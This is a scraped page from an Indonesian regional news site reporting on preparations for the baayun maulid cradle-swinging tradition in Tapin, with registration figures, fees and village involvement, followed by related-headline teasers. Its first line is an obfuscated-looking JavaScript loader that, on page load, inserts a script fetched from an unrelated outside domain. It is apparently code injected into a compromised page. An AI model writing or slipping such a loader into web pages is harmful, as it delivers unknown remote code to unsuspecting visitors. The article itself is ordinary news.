(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
RANTAU, Kesibukan panitia penyelenggara tradisi budaya baayun di Masjid Keramat Al Mukarramah, Desa Banua Halat Kiri, Kecamatan Tapin Utara, Kabupaten Tapin, hingga Jumat (1/12) semakin terlihat. Panitia terlihat mengerjakan gantungan yang terbuat dari kayu bambu. Selain itu ada juga yang sibuk melayani calon peserta baayun yang datang ke lokasi untuk mendaftar sebagai peserta.
Hingga Jumat pagi, peserta yang terdaftar di meja panitia sebanyak 4.601 yang terdiri dari anak anak dan orang dewasa. Panitia pelaksana sekaligus tokoh masyarakat dan budayawan Tapin, Ibnu Mas’ud mengatakan jumlah peserta tersebut dipastikan akan bertambah terus hingga hari pelaksanaan pada  Sabtu (2/12). Pihaknya akan selalu siap menyediakan ayunan yang di inginkan peserta meskipun peserta melakukan pendaftaran pada hari H nya nanti.
“Ya harus kita terima mereka sebagai peserta walaupun mereka mendaftar pada waktu acara berlangsung, kasian juga mereka sudah nazar tahun ini” katanya.
Para peserta yang mendaftarkan dirinya sebagai peserta baayun tahun ini tidak hanya berasal dariKalsel, tapi juga dari luar daerah. “Hingga saat ini tercatat ada beberapa peserta dari luar masing masing Muara Teweh Kalteng, Balikpapan Kaltim, serta Surabaya Jawa Timur,” ujarnya.
Untuk tahun ini pihaknya menyiapkan gantungan untuk ayunan sebanyak 5.500. Sementara jumlah peserta yang ditargetkan pada tahun ini sebanyak 5.250 peserta. “Biasanya dari tahun ke tahun jumlah pesertanya berkisar dari angka itu,” katanya.
Peringatan hari kelahiran Nabi Muhammad SAW, pada tahun ini bertepatan dengan hari jumat. Menurut Ibnu hal tersebut jarang sekali terjadi. Dimundurkannya waktu pelaksanaan baayun maulid menjadi hari Sabtu karena waktunya mepet dengan adanya sholat Jumat.
Untuk biaya pendaftaran, panitia menetapkan Rp 280 ribu. Namun jika peserta mendaftar dengan kelengkapan ayunan peserta hanya dikenakan biaya Rp 80 ribu. Kelengkapan ayunan dimaksud antara lain, sarung (tapih bahalai) 3 lembar, kerudung 3 lembar, serta tali ayunan sepanjang 5 meter.
Lokasi baayun telah disipakan menjelang berlangsungnya acara baayun maulid di Masjid Keramat Al Mukarramah, Desa Banua Halat Kiri, Kecamatan Tapin Utara, Kabupaten Tapin. Foto : ron
“Untuk ayunan bisa dibawa pulang, agar bisa dipakai lagi tahun depan jika punya niat untuk ayun lagi, supaya harganya bisa lebih murah” ujar Ainun yang mendaftarkan cucunya sebagai peserta.
Untuk kelengkapan anyaman atau hiasan yang dipasang pada ayunan nanti, panitia memberdayakan penduduk desa yang berjumlah 238 Kepala Keluarga, Mereka sudah BAHU membahu membuat anyaman dari helai daun kelapa muda 3 hari menjelang hari H dengan upah anyam yang sudah ditentukan panitia. Sementara untuk persiapan pelaksanaan tradisi budaya itu, selain desa Banua Halat Kiri, 6 desa tetanggapun juga dilibatkan, antara lain desa Banua Halat Kanan, Badaun, Jingah Berbaris. Kakaran, Banua Hanyar Hulu dan desa Keramat.
Sabtu (2/12) pagi, Desa Banua Halat Kiri akan banjir oleh manusia. Sebab selain jumlah peserta ba’ayun lokasi juga akan dipenuhi dengan anggota keluarga peserta, pengunjung, para pedagang kaki lima, petugas dan undangan lainnya.(ron)
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
This website uses cookies.